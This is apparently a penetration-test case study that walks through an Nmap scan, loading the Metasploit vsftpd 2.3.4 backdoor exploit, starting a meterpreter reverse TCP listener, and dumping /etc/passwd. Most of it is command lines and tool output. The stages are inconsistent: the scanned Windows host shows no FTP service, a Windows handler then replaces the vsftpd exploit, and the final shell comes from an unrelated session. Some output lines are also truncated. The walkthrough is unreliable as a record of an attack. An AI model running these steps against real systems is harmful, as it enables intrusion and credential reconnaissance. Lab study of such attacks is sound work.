

Case study

Stage one - scanning Nmap

An Nmap scan is executed against the target network/host to discover active hosts, open ports, running services, service versions, and OS fingerprints. The output shows multiple open TCP ports (such as RPC on port 135/445, DNS on port 53 and various high ephemeral ports) along with OS guesses and SMB security configurations. Gathering this information helps map out the attack surface and identify potential entry points.

Example. Nmap command line

```
Session Actions Edit View Help
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
445/tcp    open  microsoft-ds?
5040/tcp   open  unknown
49664/tcp  open  msrpc        Microsoft Windows RPC
49665/tcp  open  msrpc        Microsoft Windows RPC
49668/tcp  open  msrpc        Microsoft Windows RPC
49669/tcp  open  msrpc        Microsoft Windows RPC
49670/tcp  open  msrpc        Microsoft Windows RPC
49674/tcp  open  msrpc        Microsoft Windows RPC
53847/tcp  open  tcpwrapped
56154/tcp  open  tcpwrapped
59809/tcp  open  tcpwrapped
59889/tcp  open  tcpwrapped
62529/tcp  open  tcpwrapped
MAC Address: 52:55:0A:00:02:02 (Unknown)
Device type: VoIP adapter|general purpose|bridge|printer
Running (JUST GUESSING): AT&T embedded (95%), QEMU (91%), Oracle Virtualbox (
91%), Slirp (91%), GNU Hurd (85%), Konica Minolta embedded (85%)
OS CPE: cpe:/a:qemu:qemu cpe:/a:oracle:vm_virtualbox cpe:/a:danny_gasparovski
:slirp cpe:/o:gnu:hurd cpe:/h:konicaminolta:7035
Aggressive OS guesses: AT&T BGW210 voice gateway (95%), QEMU user mode networ
k gateway (91%), Oracle Virtualbox Slirp NAT bridge (91%), GNU Hurd 0.3 (85%)
, Konica Minolta 7035 printer (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-time:
|   date: 2026-06-21T17:55:35
|_ start_date: N/A
|_ clock-skew: 4m41s
|_ smb2-security-mode:
|   3.1.1:
|_ Message signing enabled but not required

Nmap scan report for 10.0.2.3
Host is up (0.0032s latency).
Not shown: 65534 filtered tcp ports (net-unreach)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       dnsmasq 2.78
|_ dns-nsid:
|   id.server: dns-recursor-public-jhb-04.rain.network
|_ bind.version: dnsmasq-2.78
MAC Address: 52:55:0A:00:02:03 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least
1 open and 1 closed port
Device type: VoIP adapter|general purpose|bridge|printer
Running (JUST GUESSING): AT&T embedded (97%), QEMU (96%), Oracle Virtualbox (
```

Stage two - Vulnerabilities and exploiting

The tester uses the Metasploit Framework command `search vsftpd` to locate available exploit modules targeting the VSFTPD service, specifically selecting module `exploit/unix/ftp/vsftpd_234_backdoor`. After identifying candidate services in Stage 1, the tester searches for known vulnerabilities. The command output provides details on CVE-2011-2523—a malicious backdoor introduced into the vsftpd 2.3.4 archive—and sets up the appropriate exploit module for deployment.

```
msf > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  ---                                     -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent Yes    VSFTPD 2.3.4 Backdoor Command Execution
```

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf > use 1
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > info
```

```
Name: VSFTPD 2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix, Linux
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03
```

```
Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>
g0tmilk
```

```
Module reliability:
unknown-reliability
```

```
Available targets:
Id  Name
--  ---
=> 0  Linux/Unix Command
```

```
Check supported:
Yes
```

```
Basic options:
Name      Current Setting  Required  Description
-----
RHOSTS    127.0.0.1         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     21                yes       The target port (TCP)
```

```
Payload information:
Space: 2000
Avoid: 0 characters
```

```
Description:
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
```

```
References:
https://nvd.nist.gov/vuln/detail/CVE-2011-2523
OSVDB (73573)
http://pastebin.com/AetT9sSS
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
```

View the full module info with the `info -d` command.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

Stage three- Payloads & configuration

The tester configures the exploit and payload settings, inspecting module options (show options), setting the attacker's listening IP address (set LHOST 10.0.2.15), and launching the reverse TCP handler.

Before executing an attack, the exploit needs to know where to send the connection back once the target is compromised. The local IP address (10.0.2.15) is verified via ifconfig and configured so the Metasploit listener can receive the incoming Meterpreter shell.

```
ayload => windows/x64/meterpreter/reverse_tcp
sf exploit(multi/handler) > show options

ayload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.0.0.0          yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

exploit target:

  Id  Name
  --  --
  0   Wildcard Target

view the full module info with the info, or info -d command.

sf exploit(multi/handler) > ifconfig
[*] exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
    inet6 fd17:625c:f037:2:254c:87:4e47:1f97 prefixlen 64 scopeid 0<global>
    inet6 fe80::44c8:bc19:e01f:477 prefixlen 64 scopeid 0<20<link>
    ether 08:00:27:8a:35:d2 txqueuelen 1000 (Ethernet)
    RX packets 219788 bytes 14986011 (14.2 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 222690 bytes 13385530 (12.7 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 15848 bytes 697488 (681.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 15848 bytes 697488 (681.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

sf exploit(multi/handler) > set LHOST 10.0.2.15
LHOST => 10.0.2.15

sf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.0.2.15:4444
```

Stage four - Post exploitation

After successfully gaining access to the target host, the tester executes `cat /etc/passwd` to view the local user account details. This represents the post-exploitation phase. Reading `/etc/passwd` allows the tester to enumerate system users, identify user IDs (UIDs), locate home directories, and check default login shells to assess privileges and plan further actions.

Password file (extraction)

```
marlinspike@vtsec:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:11:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
ircd:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-networkd:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108:/home/syslog:/bin/false
apt:x:105:65534:/nonexistent:/bin/false
messagebus:x:106:110:/var/run/dbus:/bin/false
utdd:x:107:111:/run/utdd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117:/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:kernel Oops Tracking Daemon,,,:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127:/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:122:65534:/var/run/sshd:/usr/sbin/nologin
marlinspike@vtsec:~$
```